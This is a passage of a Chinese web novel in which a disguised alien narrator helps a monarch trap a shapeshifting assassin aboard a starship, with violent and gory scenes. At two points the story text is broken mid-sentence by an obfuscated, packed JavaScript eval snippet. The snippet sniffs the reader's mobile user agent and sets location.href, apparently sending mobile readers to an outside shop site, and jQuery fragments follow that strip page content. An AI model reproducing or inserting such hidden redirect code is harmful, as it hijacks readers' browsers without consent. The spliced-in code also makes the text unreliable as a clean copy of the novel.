《不准叫人类母亲》 7. 凶案5 残留在肌体内的钝痛如一把刀,斩碎脑中的温馨画面,只留一片苍凉凄冷。 我压住抽搐的手指,冷静道:“在我找到你之后,才发现你身边还有治安官,也许你并不需要我,我收回昨晚说的话。” 有更加激烈难听的词语就含在我唇齿之间,我死死咬紧牙关,强行忍住,可那些话在胸中反复滚动。 我想说你这样的人根本不值得保护,谁站在你面前付出心力,都只会迎来背刺的结局。那些陪伴你的战友有几个还活着?你怎么好意思继续用无辜的表情说这种话来哄骗新人呢? 玉独继续着开合那个黑苔藓怀表,目光错也不错盯着我,嗓音温柔:“我不会强求你。” 她侧过头,目光放空,手摸向口袋,似乎想要找烟,可惜昨晚抽得太凶,大概是一根都不剩了。 摸空的手顺便滑入口袋,玉独顿了顿,才说道:“把我的睡衣还给我。” 我说:“不给。” 也许是我说的太理直气壮,不假思索,面无表情,玉独略有些吃惊地看我一眼,欲言又止,又摸了下空口袋,无奈地轻轻摇头。 长长的玻璃走廊里陷入了寂静。 啪嗒,啪嗒。 怀表还在一开一合。 没人说话,没人动作,只余银制怀表的反复开口,金属碰撞。 于是,这个声音格外突出明显,像是一枚异常清脆的铃铛在我耳边规律摇响。 在反复倾听的某个瞬间,我神经一痛,突然反应过来一件事。 我在无意识的不知不觉中,正随着这道啪嗒声的频率同步眨眼。 搁在身侧的手不自觉握紧。 这可不是巧合,而是特意训练的成果。我已经不记得它所代表的意义,但它能够成为我的肌肉记忆,那一定是两人共同养成的习惯,为了我们那时尚且存在的志趣。 越过思考能力的直接条件反射,很轻易勾出了所有掩饰下最真实的小动作,而玉独或许已经将此捕捉。 “我先归队了,王。”我对她的行为产生一种‘又来了’的反胃感,背过身去,打算离开。 玉独是个狡猾聪明的人,她再微小的行动都一定有其目的。 方才在我毫无心理准备的对话下,她不动声色,以温柔的眼神注视,却已经开始无声的试探,说明她心中已产生对我身份的怀疑。 这就是她的本性,时时刻刻令人不设防的算计。 可不该如此,我在哪里露出了马脚吗? 我的拟态或许不够成熟,有所破绽,但不是专业人士根本看不出来,且这新觉醒的能力在玉独认知之外,她从怎样不可思议的细节里联想到我的存在? 如果她不是对我下了死手,真认为我有万分之一归来的可能,又怎么做到当下这么冷静? 她不该害怕我,努力想办法讨好我吗?到底怎么敢一脸无事发生的琢磨试探? 无论如何,我绝不愿现在表明身份。 这不该是我们重逢的时机,至少那个敞开亮明的主动权应当在我手里,在我准备好给与她最大程度的羞辱时,像是真相披露般的让她叫出我的名字,她亲自取的名字。 那样的场景应该是在王座,议会,亦或者是法庭之类的地方,她要在人生巅峰的快乐时接收我给她下达的新判决,从此跌入谷底。 我一向没有耐心,横冲直撞,肆意行动,可这样畅快的想象,居然能让我忍耐到现在,连我都吃惊于这份沉着。 慢慢来。 数台搬运机从下方飞过,玉独叫住了我:“你得跟我去开会。” “为什么?”我问。 玉独解释道:“你是和眼球接触最多的人。” 我说:“接触的多不代表了解的多,我看人一向不准。” 玉独道:“除你以外也没人真正和她相处过,你给的信息,即使是错误的,也有价值。” 我沉声道:“我讨厌价值这个词语。” 半小时已过,两名红衣治安官迎面走来,向君主汇报:“针对眼球的追查会议已经开始了。” 玉独在我身后道:“知道了,我现在过去。” 她说话时,也在走动,嗓音越来越近,直到停在我身后。 我感觉我的手被牵起,她说道:“去吧,你的证词很重要。” 低下的视野中是她细长骨感的手,掌心有一层薄薄的茧,中指的第一个指节左侧微微宽一点,这是她握笔的习惯,长久以来留下了痕迹。 假设她此刻认为我回来了,那么这个主动牵手,以及她纵容“哈珀”无力行径的态度,的确都算得上是讨好。 她在试图用温柔的言语和行动来软化我吗? 我在心中尖锐的冷笑。 这个盲目且骄傲自大的人,把我当做什么又贱又卑微的生命吗?还以为像以前一样,付出一丁点好就可以一切皆休,并早早开始做梦,以为我还会乖乖站在她身后。 原来我从未察觉,我身经百战的母亲,是如此幼稚市侩,无药可救。 我已经不再生气了,反而像是再次重新认识了她一样,以一种平和洞穿的目光回望,还想看看这位优秀的表演者还要怎么演戏。 “那就去吧。”我答应着。 跟随玉独来到会议室前,里面传来交谈的声音。 仿佛是一沓文件被摔在桌上,舰长道:“上万条通行记录,没有一条报错,学院里那帮工程师是给战舰安装了身份识别系统对吧,还是只画在草图里了?” 另一个较为冷静的嗓音道:“她犯下了数百起案件,且从未被抓到过,说明她有规避监视的能力。” 舰长对这些微的奉承都无法容忍,冷冷道:“你想表达什么?” “所有舱位都翻遍了,找不到可疑人员。” “废物。” 玉独推开门,会议室凝固不化的氛围并未因为她的到来而驱散,甚至更加生硬,一屋人除了略特,没有一个站起来的,只是零零散散向她问好。 没在意他们的敷衍态度,玉独自顾自走到首位坐下,看向桌面上面的全息屏幕。 蓝色的信息粒子拼凑出一副恐怖的画面,副官的头被斩下,塞进马桶,身体的其余部位也零零碎碎,散落各处,整个浴室的墙面都泼满狂乱的血迹。 舰长还在发脾气,把手下递上来的文件摔的四处乱飞,因为到此刻为止,还没有一丁点猎人的准确消息,她的目标,她的身份,她的位置,一概不知。 这可是一颗非常可怕的定时炸弹,哪怕在斐德城也能搅的人不安宁,更何况在这孤立的战舰上。 最有可能被杀的人,都在这间会议室里了。 桌边的军官们三三两两讨论着可能性,对无数条分析出来的数据动脑筋,或痛批眼球的恶毒,而即使陷入了死胡同,也只是愁眉苦脸,吞云吐雾,没人想起来去问一问首位的君主。 玉独不紧不慢等待着,垂眸望着怀表上秒针的转动。 整整沉默的七分钟后,还是略特长官先打破寂静:“王,您有什么指令吗?” 此言一出,众人静了静,纷纷望向首位的人。 玉独合上怀表,我的眼皮抽搐一下。 “找不到的原因很简单,”玉独端起桌上已凉的咖啡:“她换了一个新的身份藏起来。” 她伸手将咖啡递给我,我低头看向那杯中浓褐色的液体,再看她端杯的手,忍住了磨牙吮血的冲动,接过杯子。 舰长高高的眉骨搭在眼上,深沉的疲惫让他仿佛承受不住这重量似的,眼神闪烁不安:“这个可能性我们当然也能猜到,但船上那么多人,谁知道她又变成谁了。” 说完,舰长望向身旁副官的空位,再抬头看向全息影像里缺席人的惨状,眸中是鲜明的恐惧。 他大概万分后悔昨天的自己,放纵副官要求我和金银做出的那一百个俯卧撑。不管之前金银打算杀谁,现在都有可能会对他进行报复。 喝了杯咖啡,我的心情好上许多,双手捧杯道:“也许她现在就混在我们之间也说不定。” 所有人都不太自在的扭了扭身子,四下望望。舰长则像是被吓到了,猛烈咳嗽起来,脸色苍白。 少顷,他止了咳,用白布捂住嘴,不客气道:“王,你的小情人还真是直言不讳。” 原本落在玉独身上的视线转移了方向,集中在我脸上,且明显升了温度。 他们想说但未说的话简直就写在了脸上:这就是君主的床伴?原来君主好这一口?顶多就是清秀的长相,是怎么吸引君主的? 我不动声色,小口抿咖啡,其实我更喜欢直接吃咖啡豆,可惜这会没那个条件。 “她还能说更多,”玉独回眸:“哈珀,讲讲金银的事。” 我舔了舔唇,开口道:“昨天下午,我和金银被分队长科索尔派去上层餐厅修理投影仪和屏幕时,舰长,副官,以及罗拉在我们下方用饭,金银使用了窃听设备,还邀请我一起听。” 玉独向舰长问道:“你们都聊了什么?” 聊的内容自然是关于君主,还尽是些负面词语,现在让舰长说出来,就算他不在乎君主的威严,也做不到这么丧心病狂,表面的尊重依然需要维持。 他有些无措地左右看,没说出话来。 玉独道:“哈珀?” 我说:“他们说君主只是一个听从首相命令的傀儡君主,这场巡游是政.治作秀。” 桌边响起了一阵阵假装咳嗽的声音。 这大概是不少人真实的心声,谁也想不到,那原本只该出现在茶余饭后的杂谈,是以这种方式被点出来。 一时间,尴尬蔓延。 玉独本人正手撑着额,懒懒散散翘腿坐着,对这话没反应。 她继续问:“金银说了什么?” 我知道她想让我说什么,配合道:“她向我辱骂了副官和舰长。” 舰长的脸色更加白了,简直像是将死之人。 玉独滑动眼珠,一字一句道:“那么猎人的下一个目标似乎很明确了。” “咳咳!”舰长猛咳两声,张口喷出一口血,就落在方才他扔掉的报告纸上。 他像是不知道为什么会这样,愣愣拿步捂住了嘴。 玉独安抚道:“别害怕,做人要乐观,至少你运气不错,在刺杀顺序里排名第二,还有转圜的机会。” 她偏头向治安官道:“帮我连线首相。” 女性治安官向前一步,以手指挤入会议室的通信,同时问道:“需要向首相大人说明启明舰上发生的事吗?” 玉独露出单边酒窝:“不用,她人虽然远在数光年之外的主星,但知道的没准比我更多。” 治安官点点头,将通讯联通。 不多时,会议室内响起一道清泉般沉静,文雅的嗓音:“上午好,君主。” 我还是第一次听到首相的声音,不禁回忆起昨晚看到的那张照片,那令人印象深刻的银色长发。 这嗓音与她的长相符合,清淡似水,洗练月光,每一个字的音调和声量都齐平,给人一种经过严苛规矩约束后的稳定感,又因为音质本身悠远空灵,听得人很是舒服,想象不到这是个有手腕的狠角色。 玉独道:“没时间配合您的完美礼仪了,辛乔,我记得你手下有形象伪装的专业人士。” 对面静了静,而后道:“所以呢?” 身份伪装可不是一般人可以掌握的技能,与此相关的,基本都和不太能上台面的灰色工作挂钩。手底下养着拥有此技能的士兵,那就是在承认自己打算做点不太光彩的事。 玉独这是给首相下面子呢,估计是为了出一口被监视的恶气。 她补充道:“让她来说说完成一场能骗过检测机器的伪装有多困难。” 这次对面沉默的时间有点久。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16743513|189767||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 须臾,首相道:“舰队上能人辈出,何必舍近求远。” 玉独道:“谁都知道斐德城里只有首相大人精益求精,什么都要用最好的。” 首相道:“我可以给你搭条人脉,艾丽卡艺术学院三年级的学生朱恩,她是五官改造和身体拟态社团的团长,五分钟后她会给你回信。” 不等玉独再说什么,首相单方面切断了通讯。 她没有给出自己手下的信息,而是搬出了一位学生。至于这个学生是否存在,那就不得而知了。 玉独勾起唇,那个酒窝怎么看怎么张扬。 大约只过了一分钟左右,首相的消息就发了过来。 [拟态注意事项: 1:要尽量选择和自己身高体重都相似的人选。 2:自己所掌握的技能不要和被拟态者相距甚远 3:避开需要精细操作的高难度工种 4:....] 文里洋洋洒洒列了数条,不出意外的话,猎人也需要考虑到这些来选择自己拟态的对象。 所有人都一一看完,略特长官道:“我有意见。” 玉独:“说。” 略特道:“这是人族的标准,目前还不能确定她是否为人族。据我所知,异族中有一些物种是能够做到不借助外力直接进行拟态的,那么就没有这些限制了。” 的确如此,比如我。 想起昨天金银脸上沾染的橙色东西,以及她提到的“化妆”,还有一种同为异族的隐密直觉。我说道:“她是靠妆扮达到拟态效果的,就算不是人,也绝对不是那稀有的能够掌握拟态能力的异族。” 略特道:“如何确认呢?” 玉独道:“哈珀说的没错,不用怀疑她的判断。” 虽然问题依然无解,但略特相信君主的话,不再发言。 眼看时机差不多,玉独向后靠上椅背,徐徐开口:“在场有和眼球切磋过的人吗?” 一个军官道:“只有死人和眼球切磋过。” “曾经有一个幸存者活下来,她给出过一条很有用的信息,”玉独卖了个关子,在众人的期待感都高高提起时,公布答案:“眼球对花生过敏。” “哈?”舰长抹掉唇角的血:“这也算有用的信息?难道寄希望于用花生毒死她吗?真是致命的弱点!” 另一人翻看着猎人眼球那厚厚一沓的资料,嘀咕道:“君主连这种小事都注意到了?” 他们或许不明白为何君主知道这种琐碎事宜,但我却能猜到。 玉独一向喜欢收买人心为自己卖命,所有具有突出能力的公民,不管他们本身道德水平如何,好坏与否,都不重要,只要能用就行。 这位猎人如此出名,她一定考虑过收入麾下,自然有所了解。 即便有“注意事项”来缩小范围,那依然是一个海量的数字,众人因焦虑而愁眉不展。玉独拆解道:“舰长,启明舰上一共有多少公民?” 舰长沉沉道:“1824人,王。” “略特,启明舰上后勤士兵一共有多少。” “772人,王。” “排除驾驶,传感,导航,通讯等士兵,和金银与哈珀一样负责基础维修的技术兵有多少?” “451人。” “其中有多少女性。” “278人。” 不到三百人,较为接近了。玉独道:“她的突然消失意味着身份暴露对她而言是意外的事,短时间内想要重新选择伪装的对象,一定不会和之前相差太远。” “或者说,要有许多相似之处才行,所以她大概率还在这个群体之中。” 略特有些兴奋:“要对这二百多人进行生物样本核对吗?” 玉独摇头:“不能直接这么要求,先不提那个是否有用,她大概连来都不会来。” 略特沉思:“所以应该隐瞒我们的目的,做到出其不意,该怎么做......啊,她对花生过敏!” 这又可以进一步缩小范围,到时将是一个可观的数字。 可问题再次来临,平日里的吃饭时间都是零散的,聚不到一起,要找什么理由才能让所有人一起吃饭,又显得合情合理,不惊动金银呢? 玉独话锋一转:“今天是什么节日?” “额...”见证了玉独条理清晰将数字一点点缩小的军官们下意识服从命令,全部动作起来,浑身是汗,唰唰翻动日程表,唯恐慢人一步。 “...没有,王。” 手指在怀表表面摩挲,片刻,玉独道:“有的,今天是副官的悼念日。” 没有节日也可以硬造一个节日出来! 玉独站起身,收起怀表,双手撑桌:“待会向基础维修的技术兵组下达命令。” “为了悼念副官的离世,下午三点,将在下层餐厅为他开办一场悼念会。要求所有人都准时到场,不许中途离开。” “男女分席,在女兵的所有食物里都加上足量但不会被尝出味道的花生酱,现场让医生待命。” “你们各自把好餐厅和上下级的出入口,先这么办。” 说完这句,玉独道:“散会。” 会议室除了舰长外的所有人都齐刷刷站起,向她行礼,而后匆匆离去。 在原位坐了一会,舰长以手帕捂住嘴,也阴沉着离开。 等到会议室重新平静下来,玉独松开撑着桌面的手,望向全息影像中副官的惨状。 她缓慢道:“动乱年代唯一的好处,就是能让人认清实战能力,远比地位和军衔高低要重要。” “和平时,我是默认的无权君主,”玉独转过身,一步步走到我面前,低头望着我,目光缱绻:“一旦有共同的危险出现,我就会重新变成....” 她引导着,等我接下那两个字。 我望着她,百般柔顺的样子:“将军。” 8. 凶案6 下午三点,对副官的悼念仪式准时在下层餐厅开办,四百多位基础维修技术兵全部到齐,按照指引男女分列,分别站在用饭的长桌前。 餐厅内部所有灯光都被调成低调的幽蓝色,肃立的人群全部穿着黑白相间的丧服,如同钢筋森林。 船上的条件不足以提供一个严肃的悼念场合,被赋予特殊意义的时刻自然也不会将重点放在这里,但还是尽可能找来了或许不太合适的丧葬用品,妆扮着餐厅,提供了一点清冷肃穆的氛围。 士兵们佩戴挽带,手持枪械,低头沉默着进入,厚靴踩在铁上,发出沉闷的咄咄声。 他们以保护众人安全为由四散开来,把守在各个出入口,警惕望向餐厅内默立的技术兵们。 与此同时,医疗兵和各位军官也赶到,舰长站在其中,往常一直是气势最强的那个,今日不知怎么了,格外萎靡不振,眼下发绿,眼神忽颤。 餐厅最前端,光线最明亮之处,新搭起的发言台上,玉独一步步沉稳走上去,环视众人,行了一个标准的共和国军礼后,对着话筒开口。 “我们摆脱了家园的引力,航行于星海中,却无法忽视家人的引力。今天我们站在这里,是为了沉痛悼念副官的离世...” 她低磁清澈的嗓音回荡在餐厅中,戴着白色高帽的厨师推着餐车,为每个人发放食物。 餐车路过我面前,我伸手端起一份,拿到眼下打量。 盘中精心制作的食物叫做“星帆”,是以豆类原材料仿照小帆船制作出来的豆制品。盘子表面蓝色的酱料象征着海洋,其上是一艘古代风格的“木船”,精巧的船体撑起一片大而纤薄的船帆,仿佛正被狂风推动。 在星球上时,它只是一种普通的食物,商店里售价最低的基础款,但在航行的星舰上,则有着特殊的意义——缅怀牺牲在船上的死者。 于悼念会上吃下它,意味着食用者将带着死者的意志继续走完剩下的航程,让他的灵魂不会在浩渺的宇宙中迷路。 算是一种仪式。 转动盘子,目光焦点发生变化,由星帆移到君主身上。 那个在讲台上发言的女人,看起来正派严谨,端正齐整,我想象着她躺在我餐盘上的样子,举起叉子,分解了星帆,一口口吃掉。 口感绵密,不甜不苦,普通的味道,激不起味蕾的震颤。 我是纯血异族,和人类之间没有任何一段基因上的联系,除了玉独,也不曾和哪个人类长时间相处过,情感更是薄弱。 在我相当宽泛的食谱里,人族其实也在其中。想到将他们当做食物,我并不会产生一丁点不适感,与吃猪肉没有区别,但我遍寻肢体和味觉记忆,回想不到人.肉的味道。 或许我根本从未尝试过,我不记得原因,但能够猜到,玉独必定用某种方法阻止过我。 说完最后一句话的玉独再次行礼,而后走下台,蓦然抬起的目光与我对视,幽蓝的灯光下,我下意识舔了舔唇。 下一个人继续上台念悼词。站在我旁边的一位军官端详着星帆,嘀咕道:“死就死了,搞这么麻烦,共和国最不缺吃空饷的米虫。” 另一人问他:“你了解副官?” “不了解,不过差不多嘛。” 坦白来说,副官当然不算个好人,但令人诧异的是,评价居然可以先于了解而产生。 发言的人依次上台轮转,轮到舰长时,他的步伐没那么稳健,上台的动作较慢,脸色也非常差,甚至有些摇摇欲坠。 好不容易上了台,站稳之后,他伸手碰了下话筒,这才道:“作为启明舰的舰长,我很抱歉未能及时察觉副官的生病状态,没有劝说他去看医生咳咳...咳咳...” 剧烈的咳嗽打断了他的对话,他被迫偏过头,弓着身子,满面赤红的咳嗽,音响里钻出尖锐的呼啸,不少人都被迫缩脖捂耳。 先前发言的军官笑道:“需要看医生的是他自己吧。” 舰长捂着话筒,浑身颤抖着又咳了好半天,才气息不稳道:“抱歉。” 他匆匆下台,下一位迅速顶上。 我注视舰长走下去,根据他的状态,我有了些许判断。于是,往右挪动几步,向一位身穿白色防护服的医生问道:“医生,舰长是怎么回事?” 医生仔细看了看我的脸,这才道:“中午他来医务室过,我们有为他检查,大概是吃坏了肚子。” 我强调道:“开会的时候他吐血了。” 言下之意,吃坏肚子不可能带来这种程度的损伤。 医生点头赞同,补充道:“你可能不太了解,舰长本就有肠胃方面的毛病,只要一紧张就会非常严重。” 我直言道:“我觉得更像是中毒。” 医生解释:“我们已经给他用过解毒剂,和晕船药以及镇定剂一起,这些是船上最好的药。为了安抚他,我们还留下了他的一部分血液样本,化验结果晚上能够出来。” 他看着我,眸中闪动着神色:“听说您在战舰上层畅通无阻,能不能请您晚些时候来帮忙将检测报告送给他,我预计为了应付过敏的病人,我们会很忙。” 一看他这副想揶揄又忍住的表情,就知道他也听说了我和君主那点明明没发生的事。频频遭遇此番打量,这导致我已经忘记我那天夜袭的真正目的。 共和国内对花生过敏的人数极多,考虑到待会医务室的确会满员运行,我答应了晚上帮他送检测报告给舰长。 “我有点不想,不过可以。” 最后一个上台讲演的人举起手中的星帆:“让我们吃下星帆,带着副官继续远行。” 指令明确下达,所有人都坐下,开始吃东西。 餐厅内顿时充满了叉子在盘子表面滑动以及衣料摩擦的声响,所有人都埋着头,没人讲话。士兵们呼吸变得轻,全方位监控系统与另外数道视线不断在女用餐区滑动,搜索。 我刚把餐盘还回去,忽然看见迎面朝我走来的玉独。她红卷长发飘逸,简短道:“跟我来。” 我立刻跟在她身后:“我们不在这等吗?” 玉独道:“在这是等不到的。” 还以为她要带我去什么地方,实则只是餐厅角落里的 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那张面巾纸香气四溢,气息直往鼻息里铺,我恍惚了一阵,拽下纸张,窝在手心,发现她已退到墙壁边,正低头点烟:“不问问我为什么来这吗?” “如果你是对的,我们应该很快看到结果。”我指了指墙壁上的标识:“禁止吸烟。” 玉独轻巧张口,呼出潮热的气息,修长的指夹着细长的烟,很像时尚画报上的内容。 “我抽的这个,在烟丝含量的标准上不能称之为烟,另外,”她微微低下头,清晰的眉眼被前额碎发勾勒:“我从不知道你是个在乎规矩的。” 外面突然响起一声尖叫,接着是猛地推开桌子,什么重物砸地的声响,渐渐的,越来越多类似的声音出现。有人被吓到大喊大叫,有人想要闯出被阻拦,引发了一阵又一阵骚乱。 这其中,厨师道歉的声音从音响传出:“抱歉!是我们的失误!星帆里面似乎被加入了花生酱,请对此过敏的人立刻去找旁边的医生领取抗敏药剂!” 他这番言语反而让众人冷静了不少,至少排除了食物中毒和投毒的可能。 花生酱开始发挥作用,陆续有中招的人出现,医生们都已入场,去救治和记录产生了过敏反应的人。 接下来,只要把所有中招人都抓起来,那么范围就再一次缩小,排查变得简单。 察觉我真的不会深问,玉独只好自己道:“整个餐厅的所有出入口都有人看守,除了这里。” 我猜测道:“你认为眼球不会去领取抗敏药剂?” 微微濡湿的唇咬住烟,玉独深吸了口气,低头看怀表:“领药需要先留下一份血液样本备份,她不会这么傻。” 正说着,一阵脚步声朝这边走来,我闭上嘴,立刻闪到一边。 不一会儿,一个面目普通的技术兵闯入卫生间,扑到镜前,一手扶着洗手台,另一手两指钻入咽喉,似乎想要催吐。 然而,她还没来记得完成这个动作,就从镜子里看到了我。 玉独将烟按灭在禁止抽烟的标识上,向我道:“抓住她。” 9. 凶案7 香烟的余热被标牌吸收,散发最后一缕冷烟。 狭窄透亮的卫生间似乎因为某种气氛的坍塌而变得空旷危险,我调动身体感官,肌肉绷紧,无声无息退至门边,堵住唯一的出口。 与此同时,玉独默契般的眼眸下压,将手收回,夹烟的手改握为掌。 烟头下坠的瞬间,她欺身上前,红发如泼,左手回到腰间,右掌提力送出。 意识到身份被识破,眼球先是微微歪头疑惑了下,接着咧唇笑起来,眼眸格外闪亮,似乎发现有趣的东西。 她咬着唇,侧首躲过玉独那闪电般的一掌,天真的笑声在风刀割破的空气中回绕。 我看得出来,玉独使用的这一招,乃是军校教的格斗术,若是这一掌正正击在眼球的下颌,那铁打的骨肉也该碎裂。 可这一掌却是空了。 眼球躲闪的速度的确很快,但曾经的玉独更是体术上的强者,不提战场,我听说她在军校的各项身体数据都名列前茅,几乎可以稳定排行前三不动摇,没道理会在第一招就空掉。 本以为这或许只是个小小的失误,但接下来的一番对招更是让我眉头紧皱。 瞬息之间,两人已过了很多招,破空之声与撞击钝响不时响起。玉独的姿势很标准,但总感觉缺了些力道,很难打出致敌的伤害,且脸色微微泛白,额头已沁出细汗,显然体能也快要见底。 这才三年过去,就算玉独为了准备登基而繁忙处事,疏于锻炼自己,也不至于虚弱到这个程度。 外面的骚乱还在持续,眼球再一次躲过一记勾拳,腰腹却紧咬一掌。 她估算那力道不重,本想随意抗过,却见玉独袖中寒光一闪,送出一柄匕首,眼看就要扎入她腹中! 对这份狠意和果断略略吃惊,眼球嗤笑一声,以一个不可思议的角度弯身,腰部后撤,与腿和手臂组成一个弯月弦状,躲过了攻击,而后毫无预兆的,向我冲来。 她急速奔跑的动作不像是人类,而像某种野兽,身体下弯,几乎贴地,脚用力蹬地,整个人的速度快到边缘模糊。 我下意识想召唤骨刀,然而,一个人类技术兵怎么可能会拥有这种生物技术?只好在骨刃刺破皮肤的档口,急速收回,徒手去抓。 她的身形几乎模糊成一条快速流动的河流,只消一霎便可汇入未知的冰冷空气中,而我一鼓作气,手刺入其中,以敏锐精确的视线相匹配,猛地一捞,抓住她手臂,拉停她逃窜的趋向。 撕裂般的痛从手臂传来,眼球惊讶望向我。 这时,玉独身体晃了晃,要扶住洗手台才能站稳,而我的注意力不由得分出一线。 就是这么个刹那,眼球将之捕捉,挥刀把我的手从手腕处斩断,随即奔逃。 断臂处血流如注,地面像是被泼了酱料,铺满深红,我掐住断口处,迅速回头看了眼玉独,她状态不佳,头晕目眩,似乎没注意到我。 于是,我掀起外套一角,把断臂埋进去,边愈合伤口,边出门叫道:“抓住刚刚那个人!” 即使不需要我的提醒,士兵也注意到那位从卫生间里逃出来的,神色不同的技术兵。 幽蓝色灯光下,此起彼伏的“站住”在餐厅内响起,技术兵们慌张后退,士兵们向前,枪口齐刷刷对准她。 一声极轻的笑声后,眼球自怀中掏出数个小球,抬眸向上,往天花板砸去。 那些小球扎有独特孔洞,快速运动时,风穿过其中,会有尖啸,像是以叉子在瓷盘上不断摩擦般连绵不绝的尖锐响动,这声音具有几乎实质的攻击性,让所有人都忍不住皱眉捂耳,干呕眩晕。 伴随着那尖叫,它们撞上天花板,牢牢黏住,并从孔洞中喷出数道白烟,呲呲响动。 那烟雾眨眼间便膨胀到难以想象的程度,仿佛厚重的积雨云从天而降,填充餐厅内部,遮蔽所有人的视线。 技术兵们没有抵抗的设备,大叫着奔逃,相互推搡,人仰马翻。士兵们无法捕捉目标,也陷入混乱,听从军官的指令,慌慌张张戴上防毒面罩和热成像仪眼镜,不时有人吸入毒气,呕吐般咳嗽起来。 这样视觉不清的环境反而适合我,我不再遮掩断手,断口处探出无数条血管和经脉,彼此扭转,新生的白色组织像是一个个小葡萄般涌出,组成我新手的一部分。 我的黑眼球向上翻,眸子一片全白,视野再次清晰,不过只剩下微红的轮廓。 找到眼球逃窜的方向,我跟了上去。 跑出餐厅,进入走廊,我一路追寻着眼球而去,然而她方才抢占了先机,且对战舰的熟练度似乎不在我之下,逃得极快。 在追出一段距离后,我在一个岔路口跟丢了。 记住我跟丢的地点,我打算回去查这一段路的所有监控,争取推断出眼球可能的潜藏位置。 玉独对于现状的判断是正确的,眼球果然选择了另一位面目普通的技术兵,说明她的拟态技术仅限于此。 那么接下来,她想要以同样的方式继续混入人群几乎不可能,所有技术兵都会被严加看管,定时签到,生物检查,而眼球不能藏于人群,想找她的难度就直线下降。 记下位置,我正想办法联系玉独,突然,听见左边的走廊传来一阵踢铁的声响。 我默默听了片刻,抬脚向那边走去。 踢铁声是从一个杂物间里传来的,我停在门前,仔细辨别里面的响动。 那声音没什么规律,似乎只是不小心碰到,也没有后续。 我有所判断,推开门,看见一个女人被捆住,倒在地上,神志不清。 她的脸和跑掉的眼球一模一样,这是被眼球关起来的那个原技术兵。 真是个倒霉的家伙。 我走过去,蹲下.身,试图叫醒她,然而她脸上有血,又肿又紫,口角还有液体流出,怎么看都是不太能开口说话的样子。 于是,我将她扛起来,准备先带回去再说。 一路走回餐厅,里面的状态比我离开时要好上很多,全力开动的循环系统将毒气抽干,桌面覆盖着一层薄薄的白色灰尘,满地碎瓷盘和未吃完的星帆残余有专人收拾,士兵们和医生救助着方才吸入毒气而昏迷的人们。 舰长似乎提前离开了,玉独站在讲台一旁,背靠墙壁,按着额头休息。 我将人扛过去,不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16743515|189767||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 少士兵看到我肩头的人,吓得再次举起枪,一直瞄着我的方向,而玉独望着我,只一眼就判断出情况,在我靠近后,道:“跟丢了?” 我不答反问:“你的身体很弱。” 我始终无法忘记方才那一场搏斗里玉独的样子,她的聪明一如往常,可体质似乎变差了很多。 “大概是没你强,”玉独没有正面回答:“所以是跟丢了?” 我说:“她跑得太快,几乎不留痕迹,在一个岔路口,我跟丢了,不过找到了她。” “悬赏榜第一也不是浪得虚名。”玉独说着,目光有意无意瞄过我方才断裂的手腕。 这时,我听见我肩上的人在低声说着什么。 “.....” “嗯?”我问:“什么?” “...小心...”她似乎恢复了一点意识,费力挤出这两个字。 几乎是同一时刻,我转过身,用力将她扔出,然而还是太晚,她身上爆发出剧烈的光线,我的耳朵在听到声音前就陷入耳鸣状态,热浪扑面而来。 来不及多想,我挡在玉独身前,餐厅顶部灯泡炸裂,碎片乱射,灼灼热火掀翻了附近的桌子,让它们沉沉于地上翻滚,发出刺耳的声响,而我感受到自己的皮肉在火中溃烂,尽管只有一瞬间,那依然是地狱般的灼痛。 好在我早已习惯,面不改色,只是有浓重的血腥和熟肉气息扑面而来。 藏在那个人身上的炸弹并不大,但在这样近的距离还是能造成不太美妙的伤害。 一时间,士兵,技术兵,医生,厨师等等,餐厅内所有人惊恐的目光都落在我身上。 刚长出来的左手被炸飞,上本身多处地方露出骨肉,血如喷泉般涌出,与那位技术兵的肢体碎块一起往下坠落,两条大腿都皮开肉绽,完全失去人样。 我低头,一大块焦黑的脸皮从我脸上掉了下来。 我听到那些人低低抽气的声响。 有点麻烦的情况。 受了那么重的伤,我如果是人类,按理说不可能还好端端站在这里,所以,为了不暴露自己的特殊身份,我得做点什么。 直接晕倒?还是装死然后学习金银一样换个皮囊?亦或者直接转身和玉独摊牌,把她掳走,再使用救生艇两个人逃之夭夭? 就在我犹豫时,一道黑色的布蒙在我头上,似乎是玉独拿外套遮住了我,而后把我打横抱了起来。 “她受伤严重,我先带她离开。”隔着外套,她的声音有些闷。 我努力抽动鼻翼,可惜鼻腔里满是烧焦的气味,闻不到她的味道。 玉独抱着我离开的时候,我听见那些人激动的低声讨论。 “她居然帮君主挡住了?难道这就是真爱吗?” “我还以为她们只是随便玩玩的!” “不不,怎么会!你太小看恋慕之心了,爱人者什么事都能做到!” 直到现在,我才理解玉独为我捏造的“床伴”身份这么有用。 另外我也明白了,原来,用爱这个理由,就可以让这么多人去相信虚无缥缈的事情是现实。 这么看来,爱应该是宗教。 10. 偏航1 玉独抱着我,走出了餐厅,我听见那些混乱向后远去,给与我怀抱的人看不出方才打完架的无力,至少这个拥抱是稳定且坚实的。 眼前黑蒙蒙一片,别的感官逐渐敏锐。 我紧靠着她,感受到玉独异常起伏的胸口,怠惰的心跳隔着骨骼皮肉传进我耳朵,与耳膜一同震动。 她大概没有表面上看起来那么轻松,疲惫感依然缠绕着她,只是她也不能于当前将我放下。 因为我们依然都选择忽略心知肚明的现实,依然扮演着之前的角色,而她需要为这份默契受苦。 